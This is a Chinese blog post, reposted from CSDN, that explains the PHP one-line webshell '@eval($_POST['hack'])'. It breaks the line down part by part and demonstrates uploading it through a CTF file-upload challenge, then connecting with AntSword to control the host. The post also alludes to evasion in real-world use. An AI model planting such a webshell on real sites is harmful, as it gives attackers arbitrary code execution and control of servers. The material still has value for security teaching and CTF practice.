PHP 一句话木马 @eval($_POST[‘hack‘]);作用解释

简介:@eval()函数的作用是,不将错误爆出来,且将变量中的内容当作php的代码,进行执行,任意代码均可,所有能直接控制主机。

转自:https://blog.csdn.net/BYZY1314/article/details/127792228

一句话木马如下,利用文件上传漏洞,往目标网站上传该木马,即可获取和控制整个网站主机目录

 <?php
 @eval($_POST['hack']);
 ?>

语句解析

@符号

@符号表示后面的语句即使执行错误,也不报错。

eval()函数

eval()函数的作用是把括号内的字符串全部当作php代码来执行。

$_POST['hack']

post方法是html中<form>标签中的方法,在页面中,所有的POST方法都会由submit输入方式向action中的php文件返还信息,通常这样的php文件是连着着数据库的,甚至可以直接对文件进行操作。当使用<form>标签的post方法时候,同时<form>标签里面的name属性等于hack

例如:

<form  action="mm.php"  name="hack"  method="post">

会在php文件中产生一个$_POST[cmd]变量,变量中储存有用户提交的数据。

利用原理

当用户输入phpinfo();

那么$_POST[hack]变量便会变成"phpinfo();"这个字符串

eval()函数配合$_POST变量输入的字符串来执行php语句,就可以达到操作数据库和服务器的效果

靶机演示

我们找一道简单的CTF文件上传题目做一下

可以看到本题目很简单明了,写上了“无限制”,这道题用来演示该木马正好,不用进行隐写和免杀等操作,我们直接上传该木马

上传成功后可以看到页面回显了上传文件的路径

然后我们打开“中国蚁剑”进行连接

连接密码即为传入$_POST['hack'] 内的值“hack”

连接成功后即可看到如下信息

打开该连接,我们看到了整个网站主机的结构和文件,甚至可以进行任意非法增删查改操作,至此可以说该主机已经被我们掌控了

在网站主页同目录下,我们找到了本题的flag文件

打开该文件,即可拿到我们需要的flag

 

以上便是对该木马的简单使用做的一个演示

在实际使用中,我们面对的防御者通常还会对文件类型、大小进行过滤,还会有管理员对木马进行查杀等,所以在实际运用中,我们还得进行更多其他的操作

本篇文章到这里就结束了,如果感兴趣的话可以自行去了解相关的知识

posted on 2024-04-05 12:44  叶子在行动  阅读(1239)  评论(0编辑  收藏  举报

导航